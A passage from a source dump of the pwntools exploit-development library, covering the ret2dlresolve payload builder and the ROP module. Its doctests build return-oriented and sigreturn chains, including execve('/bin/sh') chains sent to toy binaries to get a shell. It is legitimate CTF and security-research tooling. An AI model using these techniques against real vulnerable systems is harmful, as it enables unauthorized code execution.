Elf32_Rel.size = 1\n        self.reloc_index = align(ElfRel.size, sym_end_addr - self.jmprel) // ElfRel.size\n\n        # ElfRel\n        rel_addr = self.jmprel + self.reloc_index * ElfRel.size\n        rel_type = 7\n        rel = ElfRel(r_offset=self.resolution_addr, r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)\n        \n        # When a program's PIE is enabled, r_offset should be the relative address, not the absolute address\n        if self.elf.pie:\n            rel = ElfRel(r_offset=self.resolution_addr - (self.elf.load_addr + self.elf_load_address_fixup), r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)\n        \n        self.payload = fit({\n            symbol_name_addr - self.data_addr: symbol_name,\n            sym_addr - self.data_addr: sym,\n            rel_addr - self.data_addr: rel\n        })\n\n        ver_addr = self.versym + 2 * index # Elf_HalfWord\n\n        log.debug(\"Symtab: %s\", hex(self.symtab))\n        log.debug(\"Strtab: %s\", hex(self.strtab))\n        log.debug(\"Versym: %s\", hex(self.versym))\n        log.debug(\"Jmprel: %s\", hex(self.jmprel))\n        log.debug(\"ElfSym addr: %s\", hex(sym_addr))\n        log.debug(\"ElfRel addr: %s\", hex(rel_addr))\n        log.debug(\"Symbol name addr: %s\", hex(symbol_name_addr))\n        log.debug(\"Version index addr: %s\", hex(ver_addr))\n        log.debug(\"Data addr: %s\", hex(self.data_addr))\n        log.debug(\"Resolution addr: %s\", hex(self.resolution_addr))\n        if not self.elf.memory[ver_addr]:\n            log.warn(\"Ret2dlresolve is likely impossible in this ELF \"\n                     \"(too big gap between text and writable sections).\\n\"\n                     \"If you get a segmentation fault with fault_addr = %#x, \"\n                     \"try a different technique.\", ver_addr)\n            self.unreliable = True\n\n    def _build_args(self):\n        # The second part of the payload will include strings and pointers needed for ROP.\n        queue = Queue()\n\n        # We first have to process the arguments: replace lists and strings with\n        # pointers to the payload. Add lists contents and marked strings to the queue\n        # to be processed later.\n        for i, arg in enumerate(self.real_args):\n            if isinstance(arg, (list, tuple)):\n                self.real_args[i] = self.data_addr + len(self.payload) + queue.size()\n                queue.extend(arg)\n            elif isinstance(arg, bytes):\n                self.real_args[i] = self.data_addr + len(self.payload) + queue.size()\n                queue.append(MarkedBytes(arg))\n\n        # Now we process the generated queue, which contains elements that will be in\n        # the payload. We replace lists and strings with pointers, add lists elements\n        # to the queue, and mark strings so next time they are processed they are\n        # added and not replaced again.\n        while len(queue) > 0:\n            top = queue[0]\n            if isinstance(top, (list, tuple)):\n                top = pack(self.data_addr + len(self.payload) + queue.size())\n                queue.extend(queue[0])\n            elif isinstance(top, MarkedBytes):\n                # Just add them\n                pass\n            elif isinstance(top, bytes):\n                top = pack(self.data_addr + len(self.payload) + queue.size())\n                queue.append(MarkedBytes(queue[0]))\n            elif isinstance(top, int):\n                top = pack(top)\n\n            self.payload += top\n            queue.pop(0)\n\n    def _build(self):\n        self._build_structures()\n        self._build_args()\n"
  },
  {
    "path": "pwnlib/rop/rop.py",
    "content": "r\"\"\"\nReturn Oriented Programming\n\nManual ROP\n-------------------\n\nThe ROP tool can be used to build stacks pretty trivially.\nLet's create a fake binary which has some symbols which might\nhave been useful.\n\n    >>> context.clear(arch='i386')\n    >>> binary = ELF.from_assembly('add esp, 0x10; ret; pop eax; ret; pop ecx; pop ebx; ret')\n    >>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'execve': 0xcafebabe, 'exit': 0xfeedface}\n\nCreating a ROP object which looks up symbols in the binary is pretty straightforward.\n\n    >>> rop = ROP(binary)\n\nOnce the ROP object has been loaded, you can trivially find gadgets, by using magic properties on the ``ROP`` object.\nEach :class:`Gadget` has an ``address`` property which has the real address as well.\n\n    >>> rop.eax\n    Gadget(0x10000004, ['pop eax', 'ret'], ['eax'], 0x8)\n    >>> hex(rop.eax.address)\n    '0x10000004'\n\nOther, more complicated gadgets also happen magically\n\n    >>> rop.ecx\n    Gadget(0x10000006, ['pop ecx', 'pop ebx', 'ret'], ['ecx', 'ebx'], 0xc)\n\nThe easiest way to set up individual registers is to invoke the ``ROP`` object as a callable, with the registers as arguments.\nThis has the benefit of using multi-pop gadgets to set multiple registers with one gadget.\n\n    >>> rop(eax=0x11111111, ecx=0x22222222)\n\nSetting register values this way accounts for padding and extra registers which are popped off the stack.\nValues which are filled with garbage (i.e. are not used) are filled with the :func:`cyclic` pattern\nwhich corresponds to their offset, which is useful when debugging your exploit.\n\n    >>> print(rop.dump())\n    0x0000:       0x10000006 pop ecx; pop ebx; ret\n    0x0004:       0x22222222\n    0x0008:          b'caaa' <pad ebx>\n    0x000c:       0x10000004 pop eax; ret\n    0x0010:       0x11111111\n\n\nIf you really want to set one register at a time, you can also use the assignment form.\nIt's generally advised to use the rop(eax=..., ecx=...) form, since there may be an\ne.g. ``pop eax; pop ecx; ret`` gadget that can be taken advantage of.\n\n    >>> rop = ROP(binary)\n    >>> rop.eax = 0xdeadf00d\n    >>> rop.ecx = 0xc01dbeef\n    >>> rop.raw(0xffffffff)\n    >>> print(rop.dump())\n    0x0000:       0x10000004 pop eax; ret\n    0x0004:       0xdeadf00d\n    0x0008:       0x10000006 pop ecx; pop ebx; ret\n    0x000c:       0xc01dbeef\n    0x0010:          b'eaaa' <pad ebx>\n    0x0014:       0xffffffff\n\nIf you just want to FIND a ROP gadget, you can access them as a property on the ``ROP``\nobject by register name.\n\n    >>> rop = ROP(binary)\n    >>> rop.eax\n    Gadget(0x10000004, ['pop eax', 'ret'], ['eax'], 0x8)\n    >>> hex(rop.eax.address)\n    '0x10000004'\n    >>> rop.raw(rop.eax)\n    >>> rop.raw(0x12345678)\n    >>> print(rop.dump())\n    0x0000:       0x10000004 pop eax; ret\n    0x0004:       0x12345678\n\nLet's re-create our ROP object now to show for some other examples.\n\n    >>> rop = ROP(binary)\n\nWith the ROP object, you can manually add stack frames.\n\n    >>> rop.raw(0)\n    >>> rop.raw(unpack(b'abcd'))\n    >>> rop.raw(2)\n\nInspecting the ROP stack is easy, and laid out in an easy-to-read\nmanner.\n\n    >>> print(rop.dump())\n    0x0000:              0x0\n    0x0004:       0x64636261\n    0x0008:              0x2\n\nThe ROP module is also aware of how to make function calls with\nstandard Linux ABIs.\n\n    >>> rop.call('read', [4,5,6])\n    >>> print(rop.dump())\n    0x0000:              0x0\n    0x0004:       0x64636261\n    0x0008:              0x2\n    0x000c:       0xdeadbeef read(4, 5, 6)\n    0x0010:          b'eaaa' <return address>\n    0x0014:              0x4 arg0\n    0x0018:              0x5 arg1\n    0x001c:              0x6 arg2\n\nYou can also use a shorthand to invoke calls.\nThe stack is automatically adjusted for the next frame.\n\n    >>> rop.write(7,8,9)\n    >>> rop.exit()\n    >>> print(rop.dump())\n    0x0000:              0x0\n    0x0004:       0x64636261\n    0x0008:              0x2\n    0x000c:       0xdeadbeef read(4, 5, 6)\n    0x0010:       0x10000000 <adjust @0x24> add esp, 0x10; ret\n    0x0014:              0x4 arg0\n    0x0018:              0x5 arg1\n    0x001c:              0x6 arg2\n    0x0020:          b'iaaa' <pad>\n    0x0024:       0xdecafbad write(7, 8, 9)\n    0x0028:       0xfeedface exit()\n    0x002c:              0x7 arg0\n    0x0030:              0x8 arg1\n    0x0034:              0x9 arg2\n\nYou can also append complex arguments onto stack when the stack pointer is known.\n\n    >>> rop = ROP(binary, base=0x7fffe000)\n    >>> rop.call('execve', [b'/bin/sh', [[b'/bin/sh'], [b'-p'], [b'-c'], [b'ls']], 0])\n    >>> print(rop.dump())\n    0x7fffe000:       0xcafebabe execve([b'/bin/sh'], [[b'/bin/sh'], [b'-p'], [b'-c'], [b'ls']], 0)\n    0x7fffe004:          b'baaa' <return address>\n    0x7fffe008:       0x7fffe014 arg0 (+0xc)\n    0x7fffe00c:       0x7fffe01c arg1 (+0x10)\n    0x7fffe010:              0x0 arg2\n    0x7fffe014:   b'/bin/sh\\x00'\n    0x7fffe01c:       0x7fffe02c (+0x10)\n    0x7fffe020:       0x7fffe034 (+0x14)\n    0x7fffe024:       0x7fffe038 (+0x14)\n    0x7fffe028:       0x7fffe03c (+0x14)\n    0x7fffe02c:   b'/bin/sh\\x00'\n    0x7fffe034:       b'-p\\x00$'\n    0x7fffe038:       b'-c\\x00$'\n    0x7fffe03c:       b'ls\\x00$'\n\nROP also detects 'jmp $sp' gadget to help exploit binaries with NX disabled.\nYou can get this gadget on 'i386':\n\n    >>> context.clear(arch='i386')\n    >>> elf = ELF.from_assembly('nop; jmp esp; ret')\n    >>> rop = ROP(elf)\n    >>> jmp_gadget = rop.jmp_esp\n    >>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')\n    True\n\nYou can also get this gadget on 'amd64':\n\n    >>> context.clear(arch='amd64')\n    >>> elf = ELF.from_assembly('nop; jmp rsp; ret')\n    >>> rop = ROP(elf)\n    >>> jmp_gadget = rop.jmp_rsp\n    >>> elf.read(jmp_gadget.address, 2) == asm('jmp rsp')\n    True\n\nGadgets whose address has badchar are filtered out:\n\n    >>> context.clear(arch='i386')\n    >>> elf = ELF.from_assembly('nop; pop eax; jmp esp; int 0x80; jmp esp; ret')\n    >>> rop = ROP(elf, badchars=b'\\x02')\n    >>> jmp_gadget = rop.jmp_esp    # It returns the second gadget\n    >>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')\n    True\n    >>> rop = ROP(elf, badchars=b'\\x02\\x06')\n    >>> rop.jmp_esp == None         # The address of both gadgets has badchar\n    True\n\nROP Example\n-------------------\n\nLet's assume we have a trivial binary that just reads some data\nonto the stack, and returns.\n\n    >>> context.clear(arch='i386')\n    >>> c = constants\n    >>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)\n    >>> assembly += 'ret\\n'\n\nLet's provide some simple gadgets:\n\n    >>> assembly += 'add_esp: add esp, 0x10; ret\\n'\n\nAnd perhaps a nice \"write\" function.\n\n    >>> assembly += 'write: enter 0,0\\n'\n    >>> assembly += '    mov ebx, [ebp+4+4]\\n'\n    >>> assembly += '    mov ecx, [ebp+4+8]\\n'\n    >>> assembly += '    mov edx, [ebp+4+12]\\n'\n    >>> assembly += shellcraft.write('ebx', 'ecx', 'edx')\n    >>> assembly += '    leave\\n'\n    >>> assembly += '    ret\\n'\n    >>> assembly += 'flag: .asciz \"The flag\"\\n'\n\nAnd a way to exit cleanly.\n\n    >>> assembly += 'exit: ' + shellcraft.exit(0)\n    >>> binary   = ELF.from_assembly(assembly)\n\nFinally, let's build our ROP stack\n\n    >>> rop = ROP(binary)\n    >>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)\n    >>> rop.exit()\n    >>> print(rop.dump())\n    0x0000:       0x10000012 write(STDOUT_FILENO, 0x10000026, 8)\n    0x0004:       0x1000002f exit()\n    0x0008:              0x1 STDOUT_FILENO\n    0x000c:       0x10000026 flag\n    0x0010:              0x8 arg2\n\nThe raw data from the ROP stack is available via `r.chain()` (or `bytes(r)`).\n\n    >>> raw_rop = rop.chain()\n    >>> print(enhex(raw_rop))\n    120000102f000010010000002600001008000000\n\nLet's try it out!\n\n    >>> p = process(binary.path)\n    >>> p.send(raw_rop)\n    >>> print(repr(p.recvall(timeout=5)))\n    b'The flag'\n\nROP Example (amd64)\n-------------------\n\nFor amd64 binaries, the registers are loaded off the stack.  Pwntools can do\nbasic reasoning about simple \"pop; pop; add; ret\"-style gadgets, and satisfy\nrequirements so that everything \"just works\".\n\n    >>> context.clear(arch='amd64')\n    >>> assembly = 'pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret; target: ret'\n    >>> binary = ELF.from_assembly(assembly)\n    >>> rop = ROP(binary)\n    >>> rop.target(1,2,3)\n    >>> print(rop.dump())\n    0x0000:       0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret\n    0x0008:              0x3 [arg2] rdx = 3\n    0x0010:              0x1 [arg0] rdi = 1\n    0x0018:              0x2 [arg1] rsi = 2\n    0x0020:      b'iaaajaaa' <pad 0x20>\n    0x0028:      b'kaaalaaa' <pad 0x18>\n    0x0030:      b'maaanaaa' <pad 0x10>\n    0x0038:      b'oaaapaaa' <pad 0x8>\n    0x0040:       0x10000008 target\n    >>> rop.target(1)\n    >>> print(rop.dump())\n    0x0000:       0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret\n    0x0008:              0x3 [arg2] rdx = 3\n    0x0010:              0x1 [arg0] rdi = 1\n    0x0018:              0x2 [arg1] rsi = 2\n    0x0020:      b'iaaajaaa' <pad 0x20>\n    0x0028:      b'kaaalaaa' <pad 0x18>\n    0x0030:      b'maaanaaa' <pad 0x10>\n    0x0038:      b'oaaapaaa' <pad 0x8>\n    0x0040:       0x10000008 target\n    0x0048:       0x10000001 pop rdi; pop rsi; add rsp, 0x20; ret\n    0x0050:              0x1 [arg0] rdi = 1\n    0x0058:      b'waaaxaaa' <pad rsi>\n    0x0060:      b'yaaazaab' <pad 0x20>\n    0x0068:      b'baabcaab' <pad 0x18>\n    0x0070:      b'daabeaab' <pad 0x10>\n    0x0078:      b'faabgaab' <pad 0x8>\n    0x0080:       0x10000008 target\n\nPwntools will also filter out some bad instructions while setting the registers\n( e.g. syscall, int 0x80... )\n\n    >>> assembly = 'syscall; pop rdx; pop rsi; ret ; pop rdi ; int 0x80; pop rsi; pop rdx; ret ; pop rdi ; ret'\n    >>> binary = ELF.from_assembly(assembly)\n    >>> rop = ROP(binary)\n    >>> rop.call(0xdeadbeef, [1, 2, 3])\n    >>> print(rop.dump())\n    0x0000:       0x1000000b pop rdi; ret\n    0x0008:              0x1 [arg0] rdi = 1\n    0x0010:       0x10000002 pop rdx; pop rsi; ret\n    0x0018:              0x3 [arg2] rdx = 3\n    0x0020:              0x2 [arg1] rsi = 2\n    0x0028:       0xdeadbeef\n\nROP + Sigreturn\n-----------------------\n\nIn some cases, control of the desired register is not available.\nHowever, if you have control of the stack, EAX, and can find a\n`int 0x80` gadget, you can use sigreturn.\n\nEven better, this happens automagically.\n\nOur example binary will read some data onto the stack, and\nnot do anything else interesting.\n\n    >>> context.clear(arch='i386')\n    >>> c = constants\n    >>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)\n    >>> assembly += 'ret\\n'\n    >>> assembly += 'pop eax; ret\\n'\n    >>> assembly += 'int 0x80\\n'\n    >>> assembly += 'binsh: .asciz \"/bin/sh\"'\n    >>> binary    = ELF.from_assembly(assembly)\n\nLet's create a ROP object and invoke the call.\n\n    >>> context.kernel = 'amd64'\n    >>> rop   = ROP(binary)\n    >>> binsh = binary.symbols['binsh']\n    >>> rop.execve(binsh, 0, 0)\n\nThat's all there is to it.\n\n    >>> print(rop.dump())\n    0x0000:       0x1000000e pop eax; ret\n    0x0004:             0x77 [arg0] eax = SYS_sigreturn\n    0x0008:       0x1000000b int 0x80; ret\n    0x000c:              0x0 gs\n    0x0010:              0x0 fs\n    0x0014:              0x0 es\n    0x0018:              0x0 ds\n    0x001c:              0x0 edi\n    0x0020:              0x0 esi\n    0x0024:              0x0 ebp\n    0x0028:              0x0 esp\n    0x002c:       0x10000012 ebx = binsh\n    0x0030:              0x0 edx\n    0x0034:              0x0 ecx\n    0x0038:              0xb eax = SYS_execve\n    0x003c:              0x0 trapno\n    0x0040:              0x0 err\n    0x0044:       0x1000000b int 0x80; ret\n    0x0048:             0x23 cs\n    0x004c:              0x0 eflags\n    0x0050:              0x0 esp_at_signal\n    0x0054:             0x2b ss\n    0x0058:              0x0 fpstate\n\nLet's try it out!\n\n    >>> p = process(binary.path)\n    >>> p.send(rop.chain())\n    >>> time.sleep(1)\n    >>> p.sendline(b'echo hello; exit')\n    >>> p.recvline()\n    b'hello\\n'\n\"\"\"\nimport collections\nimport copy\nimport hashlib\nimport itertools\nimport os\nimport re\nimport shutil\nimport string\nimport struct\nimport sys\nimport tempfile\n\nfrom pwnlib import abi\nfrom pwnlib import constants\nfrom pwnlib.context import LocalContext\nfrom pwnlib.context import context\nfrom pwnlib.elf import ELF\nfrom pwnlib.log import getLogger\nfrom pwnlib.rop import srop\nfrom . import ret2dlresolve\nfrom pwnlib.rop.call import AppendedArgument\nfrom pwnlib.rop.call import Call\nfrom pwnlib.rop.call import CurrentStackPointer\nfrom pwnlib.rop.call import NextGadgetAddress\nfrom pwnlib.rop.call import StackAdjustment\nfrom pwnlib.rop.call import Unresolved\nfrom pwnlib.rop.gadgets import Gadget\nfrom pwnlib.util import lists\nfrom pwnlib.util import packing\nfrom pwnlib.util import safeeval\nfrom pwnlib.util.cyclic import cyclic\nfrom pwnlib.util.packing import pack\n\nlog = getLogger(__name__)\n__all__ = ['ROP']\n\nenums = Call, constants.Constant\ntry:\n    from enum import Enum\nexcept ImportError:\n    pass\nelse:\n    enums += Enum,\n\nclass Padding(object):\n    \"\"\"\n    Placeholder for exactly one pointer-width of padding.\n    \"\"\"\n    def __init__(self, name='<pad>'):\n        self.name = name\n\ndef _slot_len(x):\n    if isinstance(x, (int, Unresolved, Padding, Gadget)):\n        return context.bytes\n    else:\n        return len(packing.flat(x))\n\nclass DescriptiveStack(list):\n    \"\"\"\n    List of resolved ROP gadgets that correspond to the ROP calls that\n    the user has specified.\n    \"\"\"\n\n    #: Base address\n    address = 0\n\n    #: Dictionary of \\`{address: [list of descriptions]}`\n    descriptions = {}\n\n    def __init__(self, address):\n        self.descriptions = collections.defaultdict(list)\n        self.address      = address or 0\n        self._next_next   = 0\n        self._next_last   = 0\n\n    @property\n    def next(self):\n        for x in self[self._next_last:]:\n            self._next_next += _slot_len(x)\n        self._next_last = len(self)\n        return self.address + self._next_next\n\n    def describe(self, text, address = None):\n        if address is None:\n            address = self.next\n        self.descriptions[address] = text\n\n    def dump(self):\n        rv = []\n        addr = self.address\n        for i, data in enumerate(self):\n            off = None\n            line = '0x%04x:' % addr\n            if isinstance(data, (str, bytes)):\n                line += ' %16r' % data\n            elif isinstance(data, int):\n                line += ' %#16x' % data\n                if self.address != 0 and self.address < data < self.next:\n                    off = data - addr\n            else:\n                log.error(\"Don't know how to dump %r\" % data)\n            desc = self.descriptions.get(addr, '')\n            if desc:\n                line += ' %s' % desc\n            if off is not None:\n                line += ' (+%#x)' % off\n            rv.append(line)\n            addr += _slot_len(data)\n\n        return '\\n'.join(rv)\n\n\nclass ROP(object):\n    r\"\"\"Class which simplifies the generation of ROP-chains.\n\n    Example:\n\n    .. code-block:: python\n\n       elf = ELF('ropasaurusrex')\n       rop = ROP(elf)\n       rop.read(0, elf.bss(0x80))\n       rop.dump()\n       # ['0x0000:        0x80482fc (read)',\n       #  '0x0004:       0xdeadbeef',\n       #  '0x0008:              0x0',\n       #  '0x000c:        0x80496a8']\n       bytes(rop)\n       # '\\xfc\\x82\\x04\\x08\\xef\\xbe\\xad\\xde\\x00\\x00\\x00\\x00\\xa8\\x96\\x04\\x08'\n\n    >>> context.clear(arch = \"i386\", kernel = 'amd64')\n    >>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret'\n    >>> e = ELF.from_assembly(assembly)\n    >>> e.symbols['funcname'] = e.entry + 0x1234\n    >>> r = ROP(e)\n    >>> r.funcname(1, 2)\n    >>> r.funcname(3)\n    >>> r.execve(4, 5, 6)\n    >>> print(r.dump())\n    0x0000:       0x10001234 funcname(1, 2)\n    0x0004:       0x10000003 <adjust @0x18> add esp, 0x10; ret\n    0x0008:              0x1 arg0\n    0x000c:              0x2 arg1\n    0x0010:          b'eaaa' <pad>\n    0x0014:          b'faaa' <pad>\n    0x0018:       0x10001234 funcname(3)\n    0x001c:       0x10000007 <adjust @0x24> pop eax; ret\n    0x0020:              0x3 arg0\n    0x0024:       0x10000007 pop eax; ret\n    0x0028:             0x77 [arg0] eax = SYS_sigreturn\n    0x002c:       0x10000000 int 0x80; ret\n    0x0030:              0x0 gs\n    0x0034:              0x0 fs\n    0x0038:              0x0 es\n    0x003c:              0x0 ds\n    0x0040:              0x0 edi\n    0x0044:              0x0 esi\n    0x0048:              0x0 ebp\n    0x004c:              0x0 esp\n    0x0050:              0x4 ebx\n    0x0054:              0x6 edx\n    0x0058:              0x5 ecx\n    0x005c:              0xb eax = SYS_execve\n    0x0060:              0x0 trapno\n    0x0064:              0x0 err\n    0x0068:       0x10000000 int 0x80; ret\n    0x006c:             0x23 cs\n    0x0070:              0x0 eflags\n    0x0074:              0x0 esp_at_signal\n    0x0078:             0x2b ss\n    0x007c:              0x0 fpstate\n\n    >>> r = ROP(e, 0x8048000)\n    >>> r.funcname(1, 2)\n    >>> r.funcname(3)\n    >>> r.execve(4, 5, 6)\n    >>> print(r.dump())\n    0x8048000:       0x10001234 funcname(1, 2)\n    0x8048004:       0x10000003 <adjust @0x8048018> add esp, 0x10; ret\n    0x8048008:              0x1 arg0\n    0x804800c:              0x2 arg1\n    0x8048010:          b'eaaa' <pad>\n    0x8048014:          b'faaa' <pad>\n    0x8048018:       0x10001234 funcname(3)\n    0x804801c:       0x10000007 <adjust @0x8048024> pop eax; ret\n    0x8048020:              0x3 arg0\n    0x8048024:       0x10000007 pop eax; ret\n    0x8048028:             0x77 [arg0] eax = SYS_sigreturn\n    0x804802c:       0x10000000 int 0x80; ret\n    0x8048030:              0x0 gs\n    0x8048034:              0x0 fs\n    0x8048038:              0x0 es\n    0x804803c:              0x0 ds\n    0x8048040:              0x0 edi\n    0x8048044:              0x0 esi\n    0x8048048:              0x0 ebp\n    0x804804c:        0x8048080 esp\n    0x8048050:              0x4 ebx\n    0x8048054:              0x6 edx\n    0x8048058:              0x5 ecx\n    0x804805c:              0xb eax = SYS_execve\n    0x8048060:              0x0 trapno\n    0x8048064:              0x0 err\n    0x8048068:       0x10000000 int 0x80; ret\n    0x804806c:             0x23 cs\n    0x8048070:              0x0 eflags\n    0x8048074:              0x0 esp_at_signal\n    0x8048078:             0x2b ss\n    0x804807c:              0x0 fpstate\n\n\n    >>> elf = ELF.from_assembly('ret')\n    >>> r = ROP(elf)\n    >>> r.ret.address == 0x10000000\n    True\n    >>> r = ROP(elf, badchars=b'\\x00')\n    >>> r.gadgets == {}\n    True\n    >>> r.ret is None\n    True\n    \"\"\"\n    BAD_ATTRS = [\n        'trait_names',          # ipython tab-complete\n        'download',             # frequent typo\n        'upload',               # frequent typo\n    ]\n    X86_SUFFIXES = ['ax', 'bx', 'cx', 'dx', 'bp', 'sp', 'di', 'si',\n                    'r8', 'r9', '10', '11', '12', '13', '14', '15']\n\n    def __init__(self, elfs, base = None, badchars = b'', **kwargs):\n        \"\"\"\n        Arguments:\n            elfs(list): List of :class:`.ELF` objects for mining\n            base(int): Stack address where the first byte of the ROP chain lies, if known.\n            badchars(str): Characters which should not appear in ROP gadget addresses.\n        \"\"\"\n        import ropgadget\n\n        # Permit singular ROP(elf) vs ROP([elf])\n        if isinstance(elfs, ELF):\n            elfs = [elfs]\n        elif isinstance(elfs, (bytes, str)):\n            elfs = [ELF(elfs)]\n\n        #: List of individual ROP gadgets, ROP calls, SROP frames, etc.\n        #: This is intended to be the highest-level abstraction that we can muster.\n        self._chain = []\n\n        #: List of ELF files which are available for mining gadgets\n        self.elfs = elfs\n\n        #: Stack address where the first byte of the ROP chain lies, if known.\n        self.base = base\n\n        #: Whether or not the ROP chain directly sets the stack pointer to a value\n        #: which is not contiguous\n        self.migrated = False\n\n        #: Characters which should not appear in ROP gadget addresses.\n        self._badchars = set(badchars)\n\n        self.__load()\n\n    @staticmethod\n    @LocalContext\n    def from_blob(blob, *a, **kw):\n        return ROP(ELF.from_bytes(blob, *a, **kw))\n\n    def setRegisters(self, registers):\n        \"\"\"\n        Returns an list of addresses/values which will set the specified register context.\n\n        Arguments:\n            registers(dict): Dictionary of ``{register name: value}``\n\n        Returns:\n            A list of tuples, ordering the stack.\n\n            Each tuple is in the form of ``(value, name)`` where ``value`` is either a\n            gadget address or literal value to go on the stack, and ``name`` is either\n            a string name or other item which can be \"unresolved\".\n\n        Note:\n            This is basically an implementation of the Set Cover Problem, which is\n            NP-hard.  This means that we will take polynomial time N**2, where N is\n            the number of gadgets.  We can reduce runtime by discarding useless and\n            inferior gadgets ahead of time.\n        \"\"\"\n        if not registers:\n            return []\n\n        regset = set(registers)\n\n        bad_instructions = set(('syscall', 'sysenter', 'int 0x80'))\n\n        # Collect all gadgets which use these registers\n        # Also collect the \"best\" gadget for each combination of registers\n        gadgets = []\n        best_gadgets = {}\n\n        for gadget in self.gadgets.values():\n            # Do not use gadgets which doesn't end with 'ret'\n            if gadget.insns[-1] != 'ret':\n                continue\n            # Do not use gadgets which contain 'syscall' or 'int'\n            if set(gadget.insns) & bad_instructions:\n                continue\n\n            touched = tuple(regset & set(gadget.regs))\n\n            if not touched:\n                continue\n\n            old = best_gadgets.get(touched, gadget)\n\n            # if we have a new gadget for the touched registers, choose it\n            # if the new gadget requires less stack space, choose it\n            # if both gadgets require same stack space, choose the one with less instructions\n            if (old is gadget) \\\n              or (old.move > gadget.move) \\\n              or (old.move == gadget.move and len(old.insns) > len(gadget.insns)):\n                best_gadgets[touched] = gadget\n\n        winner = None\n        budget = 999999999\n\n        for num_gadgets in range(len(registers)):\n            for combo in itertools.combinations(sorted(best_gadgets.values(), key=repr, reverse=True), 1+num_gadgets):\n                # Is this better than what we can already do?\n                cost = sum((g.move for g in combo))\n                if cost > budget:\n                    continue\n\n                # Does it hit all of the registers we want?\n                coverage = set(sum((g.regs for g in combo), [])) & regset\n\n                if coverage != regset:\n                    continue\n\n                # It is better than what we had, and hits all of the registers.\n                winner = combo\n                budget = cost\n\n        if not winner:\n            log.error(\"Could not satisfy setRegisters(%r)\", registers)\n\n        # We have our set of \"winner\" gadgets, let's build a stack!\n        stack = []\n\n        for gadget in winner:\n            moved = context.bytes # Account for the gadget itself\n            goodregs = set(gadget.regs) & regset\n            name = \",\".join(goodregs)\n            stack.append((gadget.address, gadget))\n            for r in gadget.regs:\n                if isinstance(r, str):\n                    if r in registers:\n                        stack.append((registers[r], r))\n                    else:\n                        stack.append((Padding('<pad %s>' % r), r))\n                    moved += context.bytes\n                    continue\n\n                for slot in range(moved, moved + r, context.bytes):\n                    left = gadget.move - slot\n                    stack.append((Padding('<pad %#x>' % left), 'stack padding'))\n                    moved += context.bytes\n\n            assert moved == gadget.move\n\n        return stack\n\n    def __call__(self, *args, **kwargs):\n        \"\"\"Set the given register(s)' by constructing a rop chain.\n\n        This is a thin wrapper around :meth:`setRegisters` which\n        actually executes the rop chain.\n\n        You can call this :class:`ROP` instance and provide keyword arguments,\n        or a dictionary.\n\n        Arguments:\n            regs(dict): Mapping of registers to values.\n                        Can instead provide ``kwargs``.\n\n        >>> context.clear(arch='amd64')\n        >>> assembly = 'pop rax; pop rdi; pop rsi; ret; pop rax; ret;'\n        >>> e = ELF.from_assembly(assembly)\n        >>> r = ROP(e)\n        >>> r(rax=0xdead, rdi=0xbeef, rsi=0xcafe)\n        >>> print(r.dump())\n        0x0000:       0x10000000 pop rax; pop rdi; pop rsi; ret\n        0x0008:           0xdead\n        0x0010:           0xbeef\n        0x0018:           0xcafe\n        >>> r = ROP(e)\n        >>> r({'rax': 0xdead, 'rdi': 0xbeef, 'rsi': 0xcafe})\n        >>> print(r.dump())\n        0x0000:       0x10000000 pop rax; pop rdi; pop rsi; ret\n        0x0008:           0xdead\n        0x0010:           0xbeef\n        0x0018:           0xcafe\n        \"\"\"\n        if len(args) == 1 and isinstance(args[0], dict):\n            for value, name in self.setRegisters(args[0]):\n                if isinstance(name, Gadget):\n                    self.raw(name)\n                else:\n                    self.raw(value)\n        else:\n            self(kwargs)\n\n    def resolve(self, resolvable):\n        \"\"\"Resolves a symbol to an address\n\n        Arguments:\n            resolvable(str,int): Thing to convert into an address\n\n        Returns:\n            int containing address of 'resolvable', or None\n        \"\"\"\n        if isinstance(resolvable, str):\n            for elf in self.elfs:\n                if resolvable in elf.symbols:\n                    return elf.symbols[resolvable]\n\n        if isinstance(resolvable, int):\n            return resolvable\n\n    def unresolve(self, value):\n        \"\"\"Inverts 'resolve'.  Given an address, it attempts to find a symbol\n        for it in the loaded ELF files.  If none is found, it searches all\n        known gadgets, and returns the disassembly\n\n        Arguments:\n            value(int): Address to look up\n\n        Returns:\n            String containing the symbol name for the address, disassembly for a gadget\n            (if there's one at that address), or an empty string.\n        \"\"\"\n        for elf in self.elfs:\n            for name, addr in elf.symbols.items():\n                if addr == value:\n                    return name\n\n        if value in self.gadgets:\n            return '; '.join(self.gadgets[value].insns)\n        return ''\n\n    def generatePadding(self, offset, count):\n        \"\"\"\n        Generates padding to be inserted into the ROP stack.\n\n        >>> context.clear(arch='i386')\n        >>> rop = ROP([])\n        >>> val = rop.generatePadding(5,15)\n        >>> cyclic_find(val[:4])\n        5\n        >>> len(val)\n        15\n        >>> rop.generatePadding(0,0)\n        b''\n\n        \"\"\"\n\n        # Ensure we don't generate a cyclic pattern which contains badchars\n        alphabet = b''.join(packing.p8(c) for c in bytearray(string.ascii_lowercase.encode()) if c not in self._badchars)\n\n        if count:\n            return cyclic(offset + count, alphabet=alphabet)[-count:]\n        return b''\n\n    def describe(self, object):\n        \"\"\"\n        Return a description for an object in the ROP stack\n        \"\"\"\n        if isinstance(object, enums):\n            return str(object)\n        if isinstance(object, int) and object:\n            return self.unresolve(object)\n        if isinstance(object, (bytes, str)):\n            return repr(object)\n        if isinstance(object, Gadget):\n            return '; '.join(object.insns)\n\n    def build(self, base = None, description = None):\n        \"\"\"\n        Construct the ROP chain into a list of elements which can be passed\n        to :func:`.flat`.\n\n        Arguments:\n            base(int):\n                The base address to build the rop-chain from. Defaults to\n                :attr:`base`.\n            description(dict):\n                Optional output argument, which will gets a mapping of\n                ``address: description`` for each address on the stack,\n                starting at ``base``.\n        \"\"\"\n        if base is None:\n            base = self.base or 0\n\n        stack = DescriptiveStack(base)\n        chain = self._chain\n\n        #\n        # First pass\n        #\n        # Get everything onto the stack 